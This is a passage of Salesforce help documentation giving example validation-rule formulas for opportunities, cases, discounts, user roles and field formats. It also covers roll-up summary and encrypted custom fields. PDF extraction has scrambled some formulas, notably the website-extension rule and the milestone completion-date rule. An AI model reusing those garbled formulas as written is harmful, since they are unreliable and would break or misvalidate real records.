FIND( " - ", Name ) = 0

Opportunity Name should use [Account] - [Amount] format.


Opportunity Name

Prevent Sales Reps from Moving Opportunity Stage Backwards Field Description: Value Prevent sales reps from changing opportunity Stage backwards to specific values, once they have accepted the opportunity via a custom approval process. The approval process sets the custom Accepted Flag checkbox to True.
AND( Accepted_Flag__c, OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName, "Stage 2")) )

Formula:

Error Message: Error Location:

Invalid stage for accepted opportunity.


Stage

1085

Customize

Managing Validation Rules

Probability Must Be 100% for Won Opportunities Field Description: Formula: Value Validates that the probability of a won opportunity is properly set to 100%. This is useful for data cleanliness and reporting purposes.
AND ( ISPICKVAL( StageName, "Closed Won"), Probability <> 1)

Error Message: Error Location:

Probability must be 100% for won opportunities.


Probability

Probability Must Be Zero for Lost Opportunities Field Description: Formula: Value Validates that the probability of a lost opportunity is properly set to zero. This is useful for data cleanliness and reporting purposes.
AND ( ISPICKVAL( StageName, "Closed Lost"), Probability <> 0)

Error Message: Error Location:

Probability must be 0% for lost opportunities.


Probability

Project Start Date Field Description: Value Validates that a field is conditionally required based on the values of other fields. Use this validation formula to ensure that users include a Project Start Date for an opportunity that is closed/won.
AND(ISPICKVAL(StageName, "Closed Won"), ISNULL(Project_Start_Date__c))

Formula:

Error Message: Error Location:

Project start date is required for won opportunities.


Project Start Date

1086

Customize

Managing Validation Rules

Quote Validation Rules


Display Error if Quote Line Item Discount Exceeds 40% Field Description: Formula: Error Message: Error Location: Value Shows an error if a quote line item's discount exceeds 40%.
Discount > .40

The discount on this quote line item cannot exceed 40%.


Discount on quote

Call Center Validation Rules


Conditionally Require Description When Case Reason is Other Field Description: Formula: Value Validates that a custom field called Other Reason contains a value if a case has a Case Reason of Other.
AND( ISPICKVAL( Reason, "Other" ), ISBLANK(Other_Reason__c) )

Error Message: Error Location:

Description of Other Reason is required.


Other Reason

Prevent Open Cases from Being Reset to New Field Description: Formula: Value If a case is already open, prevents the Status from being changed back to New.
AND( ISCHANGED( Status ), NOT(ISPICKVAL(PRIORVALUE( Status ), "New")), ISPICKVAL( Status, "New") )

Error Message: Error Location:

Open case Status cannot be reset to New.


Status

1087

Customize

Managing Validation Rules

Restrict Status of Re-Opened Cases Field Description: Formula: Value Validates that the case Status is Re-opened when a closed case is opened again.
AND( ISCHANGED( Status ), OR( ISPICKVAL(PRIORVALUE( Status ), "Closed"), ISPICKVAL(PRIORVALUE( Status ), "Closed in SSP")), NOT( ISPICKVAL( Status, "Re-Opened")) )

Error Message: Error Location:

Closed case can only be changed to Re-opened.


Status

Prevent Case Milestone Completion After Cases Are Closed Field Description: Formula: Error Message: Error Location: Value Validates that a milestone's Completion Date can't occur after the case's Status is Closed.
Case.IsClosed = true

You can't complete a milestone after a case is closed.


Top of Page

Prevent Case Milestone Completion Before Case Creation Dates Field Description: Formula: Value Validates that the milestone's Completion Date has occurred after the case's Date/Time Opened.
CompletionDate >= Case.ClosedDate Case.CreatedDate && CompletionDate <=

Error Message: Error Location:

The milestone Completion Date must occur after the date the case was created and before the case was closed.
Top of Page

1088

Customize

Managing Validation Rules

User, Role, and Profile Validation Rules


Discount Percent Does Not Exceed Role-Based Limit Field Description: Value Validates that a custom field on opportunities called Discount Percent does not exceed a maximum value that varies depending on the users role. The default maximum is 15%.
Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c, $ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Formula:

Error Message: Error Location:

Discount (%) exceeds limit allowed for your role.


Discount Percent

Expense Amount Does Not Exceed User's Max Allowed Expense Field Description: Formula: Error Message: Error Location: Value Validates a custom field called Expense Amount against a custom user field called Max Allowed Expense.
Expense_Amount__c > $User.Max_Allowed_Expense__c

Amount cannot exceed your maximum allowed expense.


Expense Amount

Only Record Owner Can Change Field Field Description: Formula: Value Ensures that only the record owner can make changes to a custom field called Personal Goal.
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id )

Error Message: Error Location:

Only record owner can change Personal Goal.


Personal Goal

1089

Customize

Managing Validation Rules

Only Record Owner or Administrator Can Change Field Field Description: Formula: Value Ensures that a user can make changes to a custom field called Personal Goal only if the user is the record owner or has a custom profile of Custom: System Admin.
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Error Message: Error Location:

Only record owner or administrator can change Personal Goal.


Personal Goal

Opportunity Close Date Can Only Be Back-Dated by Administrator Field Description: Formula: Value Validates that the Close Date of an opportunity does not fall prior to the current month, except for users who have a custom profile called Custom: System Admin.
AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1), $Profile.Name <> "Custom: System Admin" )

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Error Message: Error Location:

Close Date cannot be prior to current month.


Close Date

Cross Object Validation Rules


Discounts Must Be Within Range This example consists of three validation rules on opportunity products. The examples below work together to help you manage discount amounts for products and require a custom percent field on opportunity products called Line Discount. The examples below also require you to use price books and customize the Product Family field to include the following values: Software, Consulting, and Training. Software Discounts

1090

Customize

Managing Validation Rules

Field Description: Formula:

Value Prevents users from saving software products with a discount over 10 percent.
AND(Line_Discount__c > 0.10, ISPICKVAL(Product2.Family, "Software"))

Error Message: Error Location:

The discount must be 10% or less for software products.


Line Discount

Consulting Discounts Field Description: Formula: Value Prevents users from saving consulting products with a discount over 15 percent.
AND(Line_Discount__c > 0.15, ISPICKVAL(Product2.Family, "Consulting"))

Error Message: Error Location:

The discount must be 15% or less for consulting products.


Line Discount

Training Discounts Field Description: Formula: Value Prevents users from saving training products with a discount over 20 percent.
AND(Line_Discount__c > 0.20, ISPICKVAL(Product2.Family, "Training"))

Error Message: Error Location:

The discount must be 20% or less for training products.


Line Discount

Prevent Changing Opportunity Products on Closed Opportunities This example consists of two validation rules: one on opportunity products and another on opportunities. Field Description: Value Prevents users from editing opportunity products after an opportunity is closed. Create the following validation rule example on opportunity products.

1091

Customize

Managing Validation Rules

Field Formula:

Value
OR(ISPICKVAL(Opportunity.StageName, "Closed Won"), ISPICKVAL(Opportunity.StageName, "Closed Lost"))

Error Message: Error Location:

Cannot change opportunity products for closed opportunities.


Top of Page

The following validation rule is on opportunities. Field Description: Value Prevents users from deleting opportunity products after an opportunity is closed. Create the following validation rule example on opportunities. It uses a custom roll-up summary field on opportunities that counts the number of opportunity products on an opportunity.
AND(OR(ISPICKVAL(StageName, "Closed Won"), ISPICKVAL(StageName, "Closed Lost")), Number_of_Line_Items__c < PRIORVALUE(Number_of_Line_Items__c) )

Formula:

Error Message: Error Location:

Cannot delete opportunity products for closed opportunities.


Top of Page

Prevent Saving a Case When Account Does Not Have Support Field Description: Value Prevents users from saving a case for an account that does not have support. This example assumes you have a custom checkbox field on accounts called Allowed Support that tracks if the account has support.
Account.Allowed_Support__c = FALSE

Formula: Error Message: Error Location:

Unable to create cases for this account because it is not signed up for support.
Top of Page

Prevent Saving a Case When Contact is No Longer with the Company Field Description: Value Prevents users from saving an open case associated with a contact that is no longer with the company. This example uses

1092

Customize

Managing Validation Rules

Field

Value a custom checkbox field on contacts called No Longer With Company.

Formula:

AND(Contact.Not_Longer_With_Company__c, NOT(IsClosed))

Error Message: Error Location:

Unable to save this case because the related contact is no longer with the company. To continue, choose another contact.
Contact Name

Community Validation Rules


Preventing Offensive Language in Questions Field Description: Formula: Error Message: Value Prevents users from entering offensive language in the Title and Description fields when asking a question.
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Question title or description contains offensive language.

Preventing Offensive Language in Replies Field Description: Formula: Error Message: Value Prevents users from entering offensive language when replying to a question.
OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))

Reply contains offensive language.

Preventing Offensive Language in Ideas Field Description: Formula: Error Message: Value Prevents users from entering offensive language in the Title and Description fields when posting an idea.
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Idea title or description contains offensive language.

1093

Customize

Managing Validation Rules

Preventing Offensive Language in Idea Comments Field Description: Formula: Error Message: Value Prevents users from entering offensive language when posting a comment.
OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Comment contains offensive language.

Other Validation Rules


Allow Number to Be Increased but Not Decreased Field Description: Value Allows a custom field called Commit Amount to be increased but not decreased after initial creation. This rule uses the PRIORVALUE() function to compare the updated value of the field to its value prior to update.
PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Formula: Error Message: Error Location:

Commit Amount cannot be decreased.


Commit Amount

California Driver's License Field Description: Formula: Value Ensures that a custom field called Drivers License is in the correct A9999999 format when the Mailing State is CA.
AND( MailingState = "CA", NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?")) )

Error Message: Error Location:

Invalid California driver's license format.


Drivers License

Force Users to Check I Accept Terms to Enter Certain Values Field Description: Value Uses a checkbox labeled I accept terms to force the user to select a checkbox in order to enter a value called Number of Days that exceeds their Paid Time Off (PTO) balance available.

1094

Customize

Managing Validation Rules

Field Formula:

Value
AND( NOT( I_accept_terms__c ), Number_of_Days__c > $User.PTO_Balance__c )

Error Message: Error Location:

Request will cause a negative PTO balance. You must accept Negative PTO Balance terms.
I accept terms

Prohibit Changes to a Field After It Has Been Saved Field Description: Formula: Value Prevents users from changing a custom field called Guaranteed Rate after it has been saved initially.
AND( NOT( ISNEW() ), ISCHANGED( Guaranteed_Rate__c ) )

Error Message: Error Location:

Guaranteed Rate cannot be changed.


Guaranteed Rate

Social Security Number Format Field Description: Value Validates that a custom text field called SSN is formatted in 999-99-9999 number format (if it is not blank). The pattern specifies: Three single digits (0-9):\\d{3} A dash Two single digits (0-9):\\d{2} A dash Four single digits (0-9):\\d{4}
NOT( OR( ISBLANK(Social_Security_Number__c), REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Formula:

Error Message: Error Location:

SSN must be in this format: 999-99-9999.


SSN

1095

Customize

Managing Validation Rules

Valid Currency Field Description: Value Validates selected currency against an explicit subset of active currencies in your organization using the Currency picklist. Use this example if you only allow some of the active currencies in your organization to be applied to certain types of records.
CASE(CurrencyIsoCode, "USD", 1, "EUR", 1, "GBP", 1, "JPY", 1, 0) = 0

Formula:

Error Message: Error Location:

Currency must be USD, EUR, GBP, or JPY.


Currency

Valid Credit Card Number Field Description: Value Validates that a custom text field called Credit_Card_Number is formatted in 9999-9999-9999-9999 or 9999999999999999 number format when it is not blank. The pattern specifies: Four digits (0-9) followed by a dash: \\d{4} The aforementioned pattern is repeated three times by wrapping it in () {3} Four digits (0-9) The OR character (|) allows an alternative pattern of 16 digits of zero through nine with no dashes: \\d{16}
NOT( REGEX( Credit_Card_Number__c , "(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Formula:

Error Message: Error Location:

Credit Card Number must be in this format: 9999-9999-9999-9999 or 9999999999999999.


Credit Card Number

Valid IP Address Field Description: Value Ensures that a custom field called IP Address is in the correct format, four 3-digit numbers (0-255) separated by periods.

1096

Customize

Managing Validation Rules

Field Formula:

Value
NOT( REGEX( IP_Address__c, "^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.) {3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))

Error Message: Error Location:

Error: IP Address must be in form 999.999.999.999 where each part is between 0 and 255.
IP Address

Website Extension Field Description: Formula: Value Validates a custom field called Web Site to ensure its last four characters are in an explicit set of valid website extensions.
AND( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( ) Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, 4) 4) 4) 4) 4) 4) 6) 6) <> <> <> <> <> <> <> <> ".COM", ".com", ".ORG", ".org", ".NET", ".net", ".CO.UK", ".co.uk"

Error Message: Error Location:

Web Site must have an extension of .com, .org, .net, or .co.uk.


Web Site

Validation Rule Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. Review the following implementation notes and best practices before implementing validation rules in your organization. Implementation Notes It isn't necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works. For example:

1097

Customize

Managing Validation Rules

Correct: CloseDate < TODAY() Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE) Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if: Validation formulas can't reference merge fields for auto number or compound address fields like Mailing Address. However, merge fields for individual address fields, such as Billing City, can be used in validation formulas. Validation rules can't refer to compound fields. Examples of compound fields include addresses, first and last names, dependent picklists, and dependent lookups.. Validation formulas can't reference campaign statistic fields, including statistics for individual campaigns and campaign hierarchies. For a list of fields that can't be used in validation formulas, see Campaign Fields on page 2558. When one validation rule fails, Salesforce continues to check any additional validation rules on that field or any other field on the page and displays all appropriate error messages at once. The detail page of a custom activity field doesn't list associated validation rules. If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task isn't created. Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your organization. Campaign hierarchies ignore validation rules. Salesforce runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates records that have valid values. The Data Loader and the Force.com API version 7 and later run validation rules. Salesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing. Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously valid fields. When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the error location to Top of Page. An Invalid Formula error displays if your formula has a run-time error such as division by zero. You cann't create validation rules for relationship group members. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields. When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example, if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank serial number are considered valid. Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values Read, Edit, and None when referencing the following merge fields in a formula: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All when referencing the following merge fields in a formula: AccountAccessLevel (on Territory) Because roll-up summary fields aren't displayed on edit pages, you can use them in your validation rule but not as the error location. Validation rules don't run on multiple records updated after a change owner or mass transfer. However, changing an owner of a single record does run validation rules.

1098

Customize

Managing Validation Rules

Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules. Lookup Filters vs. Validation Rules Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if: You want to improve user efficiency by limiting the number of available options in a lookup search dialog. You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if: You're close to the maximum number of lookup filters allowed. You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example, use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Best Practices When creating validation rules, consider all the settings in your organization that can make a record fail validation such as assignment rules, field updates, field-level security, or fields hidden on a page layout. Be careful not to create two contradicting validation rules for the same field; otherwise, users won't be able to save the record. A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule before activating it. Users will never be able to save a record if your formula always returns a True value. Because validation rules run on the Self-Service portal, make sure your validation rules don't prevent Self-Service users from creating cases. Write helpful error messages: Always include the field label. Users may not know what field is failing validation, especially if your error message is located at the top of the page. Give instructions. An error message like invalid entry doesn't tell them what type of entry is valid. Use an error message like "Close Date must be after today." If appropriate, translate your error messages. If users in your organization speak different languages, translate your error messages using the Translation Workbench. See Setting Up the Translation Workbench on page 451. Assign error numbers to validation rules and error messages. This allows you to identify the source of the error. Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that aren't visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the error message is designed to display next to a hidden field, it will display at the top of the page.

1099

Customize

About Universally Required Fields

For such fields, consider adding a default value to automatically populate the field with a valid value since users won't be able to edit the field to correct any validation errors. See Defining Default Field Values on page 1061. Use the record type ID merge field in your formula to apply different validation for different record types. For information about merge fields, see Merge Fields Overview on page 426. If person accounts are enabled for your organization: To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field. You must handle person account names and business account names separately in account validation rules. For business accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields. Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account validation rules. When you use one of those merge fields, note that business account records will be processed as if those fields have blank values. When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the HasOpportunityLineItem merge field before users can save a change to it:
NOT(OR(ISNEW(),HasOpportunityLineItem))

When referencing related fields in your validation formula, make sure those objects are deployed. Check the Debug Log to monitor details of the start and completion of each validation rule evaluated. You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.

See Also:
About Validation Rules Defining Validation Rules Examples of Validation Rules

About Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, Web-to-Lead, and Web-to-Case are not available in Database.com .

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or automated processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level

1100

Customize

About Universally Required Fields

security ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond the presentation level of page layouts. You can make the following types of custom fields universally required: Currency Date Date/Time Email Master-Detail Relationship (always required) Number Percent Phone Text Text Area URL

To make a custom field universally required, select the Required checkbox when defining the custom field. Note: You must specify a default value for required campaign member custom fields. If you make a user field universally required, you must specify a default value for that field. See Defining Default Field Values on page 1061. Relationship group members do not support universally required fields. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2389.

See Also:
Universally Required Field Considerations About Custom Fields

Universally Required Field Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects, Page Layouts, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, Web-to-Lead, and Web-to-Cases are not available in Database.com

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or automated processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom fields universally required. Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required, see About Universally Required Fields on page 1100. Universally required fields are required across all record types.

1101

Customize

About Roll-Up Summary Fields

Edit pages always display universally required fields, regardless of field-level security. When designing your page layouts, universally required fields: Cannot be removed from a page layout Are automatically added to the end of the first section of a page layout if not already on it Cannot be read only or optional Display in bold, indicating they are always visible Are disabled on the field properties page because you cannot remove the required setting

Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your organization. Quick Create does not enforce universally required fields. If you make an activity custom field universally required, you must also provide a default value. You must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1100. For more information, see Importing Overview on page 728. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details, see Defining Field Updates on page 1657. Required fields may be blank on records that existed before making the field required. When a user updates a record with a blank required field, the user must enter a value in the required field before saving the record.

See Also:
About Universally Required Fields About Custom Fields

About Roll-Up Summary Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value on a master record based on the values of records in a detail record. These detail records must be directly related to the master through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum of invoice amounts for all related invoice custom object records in the Invoices related list on an account. You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records. Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices. Implementation Tips Administration Create roll-up summary fields on: Any custom object that is on the master side of a master-detail relationship

1102

Customize

About Roll-Up Summary Fields

Any standard object that is on the master side of a master-detail relationship with a custom object Opportunities using the values of opportunity products related to the opportunity Accounts using the values of related opportunities Campaigns using campaign member status or the values of campaign member custom fields Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not supported.

The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example, Number, currency, and percent fields are available when you select SUM as the roll-up type. Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.

You may not be able to change the field type of a field that you reference in a roll-up summary field. For the maximum number of roll-up summary fields allowed in your organization, see Salesforce Editions and Limits on page 1898. Make sure that the filter for your roll-up summary does not encounter a formula field that results in #Error!. If your filter criteria uses a formula field that results in an error, Salesforce does not return any matches for that filter criterion. For example, if your roll-up summary filter is Formula Field equals 10 and two records contain errors while one contains the value 10 in that field, your summary only includes the record with the value 10. Salesforce does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select the Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field to manually recalculate the value. Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters. Auto number fields are not available as the field to aggregate in a roll-up summary field. After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into a lookup relationship. Roll-up summary fields are not available for mapping lead fields of converted leads.

Management Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up summary fields, which allow you to calculate the values of opportunity roll-up summary fields. Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or functions that automatically derive values on the fly, such as NOW or TODAY. Note: The value of a formula field can result in #Error!, which affects the summarized total. If your roll-up summary type is COUNT, records are included regardless of whether they contain a formula field with an error, but when the Field to Aggregate is a formula field that results in #Error!, calculations of type MIN, MAX, and SUM exclude those formula values. Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned. Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do not fire when the following changes cause a mass recalculation of roll-up summary values: Changing the roll-up summary definition (such as the object, function, or field being aggregated) Changing the expression of a formula field referenced in a roll-up summary field Replacing picklist values for picklist fields referenced in the roll-up summary filter Changing picklist record type definitions Changing currency conversion rates

1103

Customize

About Roll-Up Summary Fields

Changing price book entries Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and other factors. Salesforce does not prevent you from creating roll-up summary fields that might result in invalid values, such as February 29th in a non-leap year. If an existing roll-up summary field results in an invalid value, Salesforce does not recalculate the value, and the field will continue to display with an invalid roll-up summary icon ( ) until you change the values being summarized. If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up summary field. For example, if the master and detail records are in different currencies, Salesforce converts the values in the detail record into the currency of the master record before calculating the final value and displaying it in the same currency as the master record. If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Salesforce will prevent users from saving a record when doing so would invalidate a related record. For example, if the related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the user's change to the child record will put the value over 100, the user will not be able to save the record. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

Best Practices Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary field. If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving either the detail or master record because the value in a roll-up summary field changes when the values in the detail records change. Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error location for your validation. Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up summary field will always have the new value because that rule runs after the parent value has been updated. If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record, your validation rule on the child object needs to check if the count is already 25 or greater.
AND(ISNEW(), Opportunity.Line_Count__c >= 25)

Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the detail object selected or delete any field referenced in your roll-up summary definition. Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because Salesforce no longer calculates their values.

1104

Customize

About Roll-Up Summary Fields

Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields that include related object merge fields are also not allowed in roll-up summary fields.

See Also:
Creating Custom Fields Defining Roll-Up Summaries

Defining Roll-Up Summaries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view roll-up summary field definitions: To edit roll-up summary field definitions: View Setup and Configuration Customize Application

Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does not already exist, first create a master-detail relationship between the master object that displays the value and the detail object containing the records you are summarizing. For a list of the standard master-detail relationships where roll-up summary fields are available, see About Roll-Up Summary Fields on page 1102. To define a roll-up summary field: 1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records on a related object, so the object on which you create the field should be on the master side of a master-detail relationship. For instructions on creating a custom field, see Creating Custom Fields on page 981. 2. Choose the Roll-Up Summary field type, and click Next. 3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field Attributes on page 988. 4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize. 5. Select the type of summary: Type COUNT SUM MIN MAX Description Totals the number of related records. Totals the values in the field you select in the Field to Aggregate option. Only number, currency, and percent fields are available. Displays the lowest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available. Displays the highest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available.

1105

Customize

About Encrypted Custom Fields

6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses multiple languages, enter filter values in your organization's default language. For more information on using filter criteria, see Entering Filter Criteria on page 2645. 7. Click Next. 8. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 10. Click Save to finish or Save & New to create more custom fields.

See Also:
About Roll-Up Summary Fields

About Encrypted Custom Fields


Available in: Developer, Enterprise, and Unlimited Editions

Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted field is only visible to users that have the View Encrypted Data permission. Before you begin working with encrypted custom fields, review the following implementation notes and best practices: Implementation Notes Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact salesforce.com. See also Managing Salesforce Master Encryption Keys on page 672. Encrypted custom fields cannot be unique, an external ID, or have default values. While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the encryption algorithm. Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters. Encrypted fields cannot be used to define report criteria but they can be included in report results. Encrypted fields are not searchable but they can be included in search results. Encrypted fields are not available in the following: Salesforce Mobile, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values, and Web-to-Lead and Web-to-Case forms. You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the View Encrypted Data permission. If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 626. If you have the View Encrypted Data permission and you grant login access to another user, be aware that the other user will be able to see encrypted fields unmasked (in plain text). Only users with the View Encrypted Data permission can clone the value of an encrypted field when cloning that record. Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.

1106

Customize

Operators and Functions

Best Practices Encrypted fields are editable regardless of whether the user has the View Encrypted Data permission. Use validation rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields. You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked. Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import that data into the new encrypted field. Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data entered matches the mask type selected. Use encrypted custom fields only when government regulations require it because they involve additional processing and have search-related limitations.

See Also:
Creating Custom Fields Custom Field Attributes

Operators and Functions


